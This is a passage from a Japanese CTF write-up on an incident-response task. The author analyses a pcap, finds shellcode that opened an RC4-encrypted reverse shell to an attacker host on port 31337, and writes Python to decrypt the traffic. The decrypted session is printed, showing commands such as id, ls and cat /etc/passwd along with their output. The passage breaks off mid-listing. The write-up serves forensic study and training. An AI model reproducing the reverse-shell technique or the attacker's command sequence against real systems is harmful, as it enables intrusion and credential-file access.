0a0011ac(ac 11 00 0a -> 172.17.0.10) -> inet_addr 697a(7a69 -> 31337) -> htons 0002(0200 -> AF_INET?)
こんな感じになっていることがわかりました.
ここまでの解析結果をまとめると以下のようになります.
- 攻撃者(172.17.0.10)と思われる側からサーバ側(172.17.0.2)になんらかの脆弱性を突かれて,シェルが開いた
- サーバ側から結果を受け取る攻撃者のポート番号は31337
pcapファイルにて,ポート番号31337でフィルター(tcp.port == 31337)してみます.
3way handshake後,なんらかのデータがサーバ側から送られてることがわかります.
32バイトのデータが送られてきている部分↓
2バイトのデータを送っている部分↓
54バイトのデータが送られてきている部分↓
これらを見て,最初の32バイトはわからないにしても, 短いデータを送っているのはコマンド
, その後返ってきているのは実行結果
みたいに見えてきませんかね?
ただ,暗号化されているっぽくて全く内容はわかりません.
2バイト送っているのは, ls
か id
とかでしょうか.
とにかく,この暗号化されたデータを復号すればフラグが出てきそうです.
再び,逆アセンブル結果を見てみます.
データを送っているのは write
を読んでいるところのはずなので,そこに注目して見ていくと,2つのwriteがあることがわかります.
1つは read_urandom
を呼んだ後.
もう1つは make_something
を呼んだ後.
となると,上記の最初に送られてきている32バイトのデータは /dev/urandom
から読み取った値っぽいです.
これが鍵になるのでしょうか?
暗号に疎く,方式が全く分からないので,なにか換字式っぽいものなのかなとしか見当がつきませんでした.
そこで,ローカルでこの環境を再現しようと考えました.
pythonでソケット通信するプログラムを書き,リバースシェル側から /dev/urandom
の値が送られてきたら,上記の最初に送っているコマンドっぽい2バイト( \x50\xbd
)を送り返すようにします.
/dev/urandom
はどうするかというと,上記の32バイトがそれっぽいので,これを urandn
とかいうファイル名で /dev
以下に保存しておき,リバースシェルのバイナリの urandom
という文字列を urandon
に変更して,そこから読み取るようにしました.
これでgdbでステップ実行していくと...
read
を呼んで \x50\bd
がリバースシェル側に送られた後, make_something
が実行されます.
実行後のRBXの値が
RBX: 0x7ffff7ff5000 --> 0x6469 ('id')
ビンゴです!これで他の結果も復号できると考えたのですが...できず.どうやら使用している鍵が変わっているっぽくて,さらに言うと実行結果がどう暗号化されて返ってきているのかも,解析することはできませんでした.
結局復号ができず,仮眠を取って起きてみたらCTFは終了していました.
悔しすぎるのでTwitterで情報収集していたところ,作問者のCharo_ITさんからこんなツイートが.
Incident Response: request bodyにx86_64なシェルコードがついてるGETリクエストがあるので、pcapから引っこ抜いてrevする。すると、RC4で通信内容を暗号化したreverse shellを張る処理になっていることがわかるので、pcapからreverse shellの通信を抜いて復号 #cbctf #codeblue_ctf
— しゃろ (@Charo_IT) 2017年11月10日
暗号化方式はRC4というものらしいです.
聞いたことがあるような無いようなもので,調べました.ここでも,ももテクが出てくる辺りももテクすごい.
ストリーム暗号というものに該当するらしいですね.
上記の記事にあるコードの,keyを /dev/urandom
の32バイトに,messageを \x50\xbd
に変更して実行してみる.
#!/usr/bin/env python # -*- coding: utf-8 -*- def KSA(key): # key から256マスの変換テーブル S を作る S = range(256) j = 0 for i in xrange(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] return S def PRGA(S): # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す i, j = 0, 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(data, key): # data がメッセージなら暗号化、暗号文なら復号する S = KSA(key) gen = PRGA(S) data = bytearray(data) result = bytearray(c ^ n for c, n in zip(data, gen)) return str(result) # 鍵とメッセージを準備 key = '\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda' message = '\x50\xbd' # 暗号化して、復号する print "key: %r (%d bits)" % (key, len(key)*8) print "message: %r" % message ciphertext = RC4(message, key) print "ciphertext: %r" % ciphertext message2 = RC4(ciphertext, key) print "message2: %r" % message2
$ python decrypt.py key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits) message: 'P\xbd' ciphertext: 'id' message2: 'P\xbd'
ア!w
RC4はXORをしているので,暗号文を暗号する,みたいなことをやれば復号できるわけですね.
さぁ,あとはスクリプトを書いて暗号文を全部復号するだけです.
注意なのが,RC4では暗号化の度に毎回テーブルの値(の順番?)が変わっていくので,毎回同じテーブルを使っていると正しく復号できません.
以下が,書いたコード.(ももテクさんの記事にあったコードを,毎回同じテーブルを使わないように変更しただけ)
#!/usr/bin/evn python # -*- coding: utf-8 -*- S = range(256) def KSA(key): # key から256マスの変換テーブル S を作る j = 0 for i in xrange(256): j = (j + S[i] + ord(key[i % len(key)])) % 256 S[i], S[j] = S[j], S[i] def PRGA(S): # S を更新しながら1バイトずつ数字を吐き出すジェネレータを返す i, j = 0, 0 while True: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] yield K def RC4(data, gen): # data がメッセージなら暗号化、暗号文なら復号する data = bytearray(data) result = bytearray(c ^ n for c, n in zip(data, gen)) print str(result) def main(): # 鍵とメッセージを準備 key = "\xb0\xf8\x70\xfb\x75\x87\xc0\x48\x2b\xb7\xf7\xc1\xf7\x39\x1f\x9e\x66\xde\x2c\xd9\x25\x58\xca\x1f\x87\xf2\xdf\x23\x2f\xed\xc7\xda" KSA(key) gen = PRGA(S) message1 = "\x50\xbd" message2 = "\x95\x3b\x7a\xff\xd9\x18\x32\x3a\x33\x28\x32\xe1\x12\xbe\xec\xa9\x46\x30\x7d\x33\x54\xd5\x3c\xbd\xc4\xc1\xcc\x80\x35\x3a\x25\x3d\x88\xbf\x14\x69\xb7\xd1\xf3\x0d\x17\x96\x4c\xb5\x19\x5f\x4c\x7e\x15\xe1\x21\x5b\x5e\x24" message3 = "\x10\xb6\xf8" message4 = "\x48\xc8\x0c\x81\x3a\xce\x27\x92\xd4\xbd\x18\x75\x1b\xbb\xfc\x49\x15" message5 = "\x3c\x18\x14\xac\x38\xa9" message6 = "\x1d\x3d\xb5\x74\xae\x8a\x02\x13\x87\x45\x14\xc1\x9e\x2d\xcf\x51\x32\xc0\xb4\xc6\x15\xdb\x67\x31\x36\x72\x2a\x2a\x2d\xad\x9f\x2f\x91\xf6\x84\xfe\xa8\x9d\x60\x3b\x0f\x9d\x22\x16\x5b\x95\x08\xe0\x8b\x82\x3a\x3c\xad\x69\x85\xb9\x13\xaa\xb1\xf3\xad\xff\x74\x72\xc8\x22\xf0\x86\xd9\x16\x23\x3e\x6c\x1f\xfd\xaa\x5f\x9f\x43\xe1\x9b\xb4\x7c\xcd\xa2\xe9\xfc\xd0\xa8\xcd\xbe\x88\xfb\xa2\x2f\x39\xd0\xcb\x01\x4b\x76\x99\x15\xb7\x43\x83\xf6\xf9\x60\xb7\x50\x45\x9c\x9e\x2c\xa6\x02\x3b\xb1\x98\x55\xb4\x43\x08\x29\x1c\x87\x74\x27\xee\x2d\x5d\x32\x1a\x99\xba\x6b\x6e\x8a\xbc\xd1\x35\x8a\x5d\xf7\x69\x46\xc3\x17\x0a\xe2\x62\xac" message7 = "\xc9\xaf\x42\x66\x76\xee\x77\xa5\xd1\x0c\xa0\xa3\x22\x05\xb3\x02\x77\x25" message8 = "\xc5\x49\x1f\xcb\x60\x22\x9b\x3c\x52\x56\x1f\x98" message9 = "\x9a\xc5\x54\xe8\x17\x6f\x91\x7e\x59\xe2\x84\x01\xdb\x8e\xa0" message10 = "\xbb\x7d\x76\xd7\x68\xed\xfc\x82\xc4\xe6\x9a\x20\x11\x33\xb6\xe2\x8a\x84\xb2\x1d\x28\xa2\xfe\x71\xe3\x8b\x2b\xaf\x4d\xec\x42\x0b\x5a\x61\x7b\xd1\xde\x09\xb4\x0c\x6f\xae\x70\x0b\x84\xee\xf3\x6a\x95\xd5\x60\xb1\x94\x73\x12\x88\xb3\x9d\x6b\x61\x6f\x17\xa9\xa1\xe3\x22\xb1\xf2\x29\x99\x05\x5f\xce\xd5\x01\xbe\x0c\xf2\xe2\xde\x13\x05\x81\x86\x90\xae\xe8\xa1\xe1\x2e\xee\x5a\x36\x4a\xb6\x1a\xed\xd9\xda\x4c\x1e\xa3\xae\x93\x9b\xbd\xef\xa2\x17\xda\x4d\x77\x64\x81\x0f\x87\xcb\x32\x1b\x77\x0b\x78\xfa\xad\x9d\x6f\xd1\x8b\xbd\x2a\x69\x1d\x45\x5c\x31\x92\xda\xe7\x3f\xa4\xe3\x39\x26\x0c\xa5\x7c\x44\xf3\x90\x94\xb7\xb6\xb3\xc4\x37\xa9\xe0\x59\xb7\x4f\xf7\x54\xb1\x16\x8e\x62\xe3\x81\x3d\x9a\xe9\xe8\xed\xac\xcd\x2a\x89\x7d\x72\x95\x97\x81\x9b\xba\x22\xfa\x60\x66\x37\x99\xd0\x45\x17\x9e\x26\x81\xb4\xb3\x0d\x09\x0f\x3f\x9a\xf4\xfc\xf5\xe0\x20\x4c\x33\x21\x6b\x0b\x6c\x15\x34\xd2\xd0\x7a\xa4\xff\xb4\xac\xd3\x9b\x5e\x45\x28\x95\xf6\x1d\xcb\x7b\x23\xee\x9d\x24\x84\xa0\xa5\x1f\x85\xd5\x39\xf9\x99\x7a\x44\xac\x83\x4d\x7c\x30\x64\x15\xa3\x32\xab\x97\xa6\x1a\x96\x3b\x22\xdd\xee\x16\x83\x01\xb1\xe9\x9c\x3a\x0e\xb2\x14\xc1\xb6\xe9\xad\x67\x2b\x01\x4a\xae\xa6\x5f\xe6\xe4\x43\xe9\x93\x9d\x3a\xf0\x40\xc6\x04\x8a\x25\xc3\xa6\xd0\xf8\x17\x11\xbd\xa1\x7c\x32\x2a\x83\x3e\xca\x20\x99\xd4\x21\x88\xa8\xa7\x35\xa4\xd1\x28\x06\x00\x56\xcc\x92\x6f\xab\xc1\xac\x0c\x84\xfe\x2e\x67\xe1\x54\xcc\x62\xe9\xc9\xe3\xff\x79\x15\xa3\x1b\x5f\xaa\xc6\x37\xc9\x04\xe8\x1e\xc4\x69\xae\xe0\xda\xd7\x1b\xdc\x9c\x7d\x74\x8a\xce\xde\x16\x38\x98\xfc\x97\xcf\x1a\x69\x69\x72\x54\xd9\x39\x57\x38\xb4\xeb\x97\x0e\xf9\xc4\x4c\xbe\xfd\x3b\x75\xf2\xfa\x02\x0e\xc8\x36\x72\xa3\xe6\xc7\x78\xfc\xff\xfa\x51\x31\xf4\x29\xec\x15\x24\x1e\x72\x1e\x6e\xfb\x19\xb1\xbf\x35\x31\xfb\xe0\xb8\x32\x1b\x1e\xd3\x5f\xde\xbc\x19\x3b\xc2\x17\xdf\xe3\x2f\x24\x75\x5b\x5c\x7f\xce\x82\x6a\xe5\xae\x65\x14\xa0\x7d\xd1\x44\x4c\x5a\xcf\xb7\xca\x66\xda\x9e\xc1\xb5\x8d\x61\x35\xff\x45\x85\xa0\x6b\x7b\xce\x94\xe8\xe5\x5d\x66\x0b\x29\x7a\xd3\xfd\x6f\x94\x17\xc7\xb4\x1c\x3e\x62\xc2\x58\x9a\x34\x3e\x83\x2c\xf4\xd7\xa7\xa5\xd6\x43\x87\x4f\x43\xd7\xf0\x86\x4a\x48\xb3\xb3\x77\x3d\x4a\x42\xca\x29\x07\x1e\xf3\xf0\x5d\x52\x58\x2a\x7e\xbc\x84\xbc\xac\xeb\xe5\x50\x75\xd3\x3a\xdc\x46\x3f\x9c\xd6\x69\x26\x34\x9c\xe3\x8d\x44\x00\x06\x76\xbf\x3c\x83\x55\x41\x98\x91\xb2\x21\xb4\x73\xda\x47\x33\xd6\x6a\x05\x32\xb2\xdf\x59\x08\xaf\x86\x6c\xf6\x13\xdd\x2a\xe6\xb7\xb2\x74\x8c\x1e\x32\x88\x85\x19\x62\x8e\x6f\x60\xea\x64\xe6\x66\xdf\x5e\x14\x90\x6b\x6b\xb5\x0a\x90\x0c\x25\x05\xa8\xf4\x63\xb8\x5a\x52\xa7\xe3\x83\xd7\x2a\x77\xd6\xed\xa1\xa8\xf2\x93\x9b\xbf\xb8\x9b\x46\xa7\x69\x64\xbc\xbb\xbe\x64\xe5\xe2\x4b\xef\x3a\x29\x75\x7c\x9d\x9d\x10\x28\x41\xf2\xe3\xbe\xdb\xd8\xfd\xbb\x3b\xdf\xdc\xd2\x80\x83\x69\x25\x2b\x5b\x63\x7e\x05\xc4\xe8\x98\x5f\x9e\x80\xa7\x0c\x6c\x2e\x93\x28\x1c\x09\x35\x03\xac\x7b\x84\x6a\x4a\xa1\x7c\x6f\xd1\x5c\x3b\x78\x83\xa1\x9c\xf0\x75\x8b\x28\xdb\x6e\xc3\x7d\xb2\x00\xfa\x36\xb4\x81\xdd\x6d\xc1\xd0\xc2\x9a\xb9\x43\x8f\x63\x9e\xd8\x3f\xf9\x24\x36\x6b\xde\x2f\x48\xcd\xb0\xf1\x90\x71\x38\xc1\x6a\xc9\x9d\xe2\x7e\xfd\x3f\x9b\xdf\x36\x06\x81\xef\x8f\x98\x6e\x50\x10\xcc\xa1\x0f\x35\x49\x81\x48\x53\x6d\x98\xdf\xde\x32\xaf\x9d\x08\x0c\x56\xac\xf7\xc8\xea\x3a\x64\xfa\x6f\x50\x76\x63\xe8\x47\x39\x95\x88\x74\x76\xb8\x50\x70\x38\x06\x59\xe8\x8e\x5e\x0f\xe6\xd2\xca\x6f\xee\x80\x5e\xc4\xe6\x2a\x6c\xe6\xa6\x1d\x09\xe9\x64\x31\xbb\xa0\x8b\xb5\x25\x55\x04\xf7\x17\x58\xea\x7b\xd9\xf1\xf5\x1d\x47\x51\x10\x1a\x22\x95\xe9\x80\x69\xbe\x0b\xf5\x25\xbe\xa5\xb0\x6e\xc3\x7e\xc9\x8c\x2a\xb9\xee\x94\x50\x33\x62\xb6\xc0\x6d\xc7\xa9\xb5\xaa\xeb\x09\x45\x98\x3f\x1b\xe8\x37\x5f\x21\x30\xc0\xb0\xa9\xc5\x7f\xaa\xa9\x55\x93\x42\x67\xe3\x6f\x75\x90\xcf\x86\xa0\xb6\x0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca" message11 = "\xaa\x42\x5a\xa7\xd0\x96\xa9\x35" message12 = "\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\xed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21" message13 = "\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d" message14 = "\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33" message15 = "\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce" message16 = "\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3" message17 = "\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e" message18 = "\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6" print "key: %r (%d bits)" % (key, len(key)*8) for i in range(1, 19): exec("RC4(message" + str(i) + ", gen)") if __name__ == "__main__": main()
実行結果
$ python decrypt.py key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits) id uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd /usr/lib/cgi-bin ls -la total 24 drwxr-xr-x 2 root root 4096 May 26 02:39 . drwxr-xr-x 52 root root 4096 May 26 02:39 .. -rwxrwxr-x 1 root root 13704 Apr 18 01:11 index.cgi echo 'pwned! yay!' pwned! yay! cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false ls -la / total 80 drwxr-xr-x 67 root root 4096 May 26 03:04 . drwxr-xr-x 67 root root 4096 May 26 03:04 .. -rwxr-xr-x 1 root root 0 May 26 03:00 .dockerenv drwxr-xr-x 2 root root 4096 May 26 02:39 bin drwxr-xr-x 2 root root 4096 Apr 12 